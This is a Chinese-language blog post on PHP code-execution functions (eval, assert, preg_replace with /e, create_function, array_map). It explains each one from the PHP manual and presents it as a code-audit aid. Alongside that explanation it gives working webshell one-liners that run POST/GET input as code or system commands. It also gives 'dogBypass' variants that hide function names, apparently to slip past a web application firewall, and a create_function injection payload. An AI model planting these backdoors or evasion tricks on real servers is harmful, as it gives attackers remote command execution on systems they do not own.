最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。
本次将分为两篇进行讲解:
本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map()
下篇涉及函数:call_user_func()、call_user_func_array(),array_filter,usort,uasort()
0x00 eval
eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:<?php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。
0x01 assert函数
最常用的回调函数,验证assert后面的括号里的代码是否为true的函数。如果表达式不为true,那么则会给一个warning的警告
如:<?php assert('1==2');?>
则会提醒:PHP Warning: assert(): Assertion “1==2” failed in /usercode/file.php on line 1。
【利用示例代码】
<?php
//?cmd=phpinfo()
assert($_GET['cmd']);
?>
【dogBypass】
<?php
//cmd=phpinfo()
function cl (){
return 'assert';
}
$a = cl();
$a($_POST['cmd']);
?>
assert_options 用于设置/获取断言的各种标志。
``````
【示例代码】
<?php
// 处理断言失败时的函数
function assert_failure()
{
echo 'Assert failed';
}
// 我们的测试函数
function test_assert($parameter)
{
assert(is_bool($parameter));
}
// 设置断言标志
assert_options(ASSERT_ACTIVE, true);
assert_options(ASSERT_BAIL, true);
assert_options(ASSERT_WARNING, false);
assert_options(ASSERT_CALLBACK, 'assert_failure');
// 让一个断言会失败
test_assert(1);
// 由于 ASSERT_BAIL 是 true,这里永远也到不了
echo 'Never reached';
?>
0x02 preg_replace函数 : php<=5.5
执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
搜索subject中匹配pattern的部分, 以replacement进行替换。
当第一个参数的正则表达式有e修正符的时候,第二个参数的字符串当做PHP代码执行。
源自官方的解释:
e (PREG_REPLACE_EVAL)
Warning
This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义。
【示例代码】
<?php
//?cmd=phpinfo()
echo preg_replace("/test/e",$_GET["cmd"],"jutsttest");
?>
0x03 creat_function函数
用于创建匿名函数, 使用了eval的操作存在某些安全性问题。
源自官方的解释
(PHP 4 >= 4.0.1, PHP 5, PHP 7)
create_function — Create an anonymous (lambda-style) function
语法:
string create_function ( string $args , string $code )
参数:
args | The function arguments. |
---|---|
code | The function code. |
Caution
This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.
返回值:
Returns a unique function name as a string, or FALSE on error。
【用法理解】
<?php
$foo = create_function( '$x', 'return $x * 2;' );
echo $foo( 10 );
?>
相当于:
<?php
function foo ($x){
return $x *= 2;
};
echo foo( 10 );
?>
create_function的实现步骤:(参考自:http://www.laruence.com/2010/06/20/1602.html 讲解更为清晰)
1. 获取参数, 函数体
2. 拼凑一个"function __lambda_func (参数) { 函数体;} "的字符串
3. eval之
4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错
5. 定义一个函数名:"\000_lambda_" . count(anonymous_functions)++
6. 用新的函数名替换__lambda_func
7. 返回新的函数名
问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。【场景:直接写入恶意代码】
详细介绍:https://www.t00ls.net/viewthread.php?tid=20774
国文参考:http://lovexm.blog.51cto.com/3567383/1743442
外文参考:https://ttmm.io/tech/php-security-lambdas/
利用示例代码 &【dogBypass】:
<?php
//post:name1=Thinking&name2=JoeVatte;}phpinfo();/*
$name1 = $_POST['name1'];
$name2 = $_POST['name2'];
$str = 'return'.$name1." & ".$name2.';';
echo $str.'<br >';
$newfunc = create_function('$name1',$str);
问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行eval得到函数体,在执行该函数。【场景:找到相应函数所在位置,审查是否有可以利用的地方】
源自官方的解释:
Using anonymous functions as callback functions
<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>
以上例程会输出:
Array
(
[0] => the mango
[1] => a mango
[2] => that mango
[3] => this mango
)
示例代码,例子不好没想到怎么构造:
<?php
function evil($evil)
{
echo $evil.':test | ';
}
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', 'evil($v);'));
print_r($av);
?>
0x04 array_map函数
源自官方的解释:
(PHP 4 >= 4.0.6, PHP 5, PHP 7)
array_map — 为数组的每个元素应用回调函数
说明:
array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
参数:
callback
回调函数,应用到每个数组里的每个元素。
array1
数组,遍历运行 callback 函数。
数组列表,每个都遍历运行 callback 函数。
返回值
返回数组,包含 callback 函数处理之后 array1 的所有元素。
Example #1 array_map() 例子
<?php
function cube($n)
{
return($n * $n * $n);
}
$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?>
这使得 $b 成为:
Array ( [0] => 1 [1] => 8 [2] => 27 [3] => 64 [4] => 125 )
【利用示例代码】
<?php
//post:func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
$bad_array[0]=$bad_cmd;
$new_array=array_map($bad_func,$bad_array);
//print_r($new_array);
?>
【dogBypass】
<?php
//post:func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
$bad_array[0]=$bad_cmd;
$func_evil=trim(' a r ra y_ma p ');
$func_evil =str_replace(" ", "", $func_evil);
$new_array=$func_evil($bad_func,$bad_array);
//print_r($new_array);
?>
总结:
希望本篇可以帮助大家在代码审计中理清楚需要重点关注的危险函数,当然大伙如果有其他代码执行函数也可提出,一起讨论交流,下篇将会继续补充其他代码执行函数,顺带说下有些时候dogBypass 并没有想象中那么复杂 :)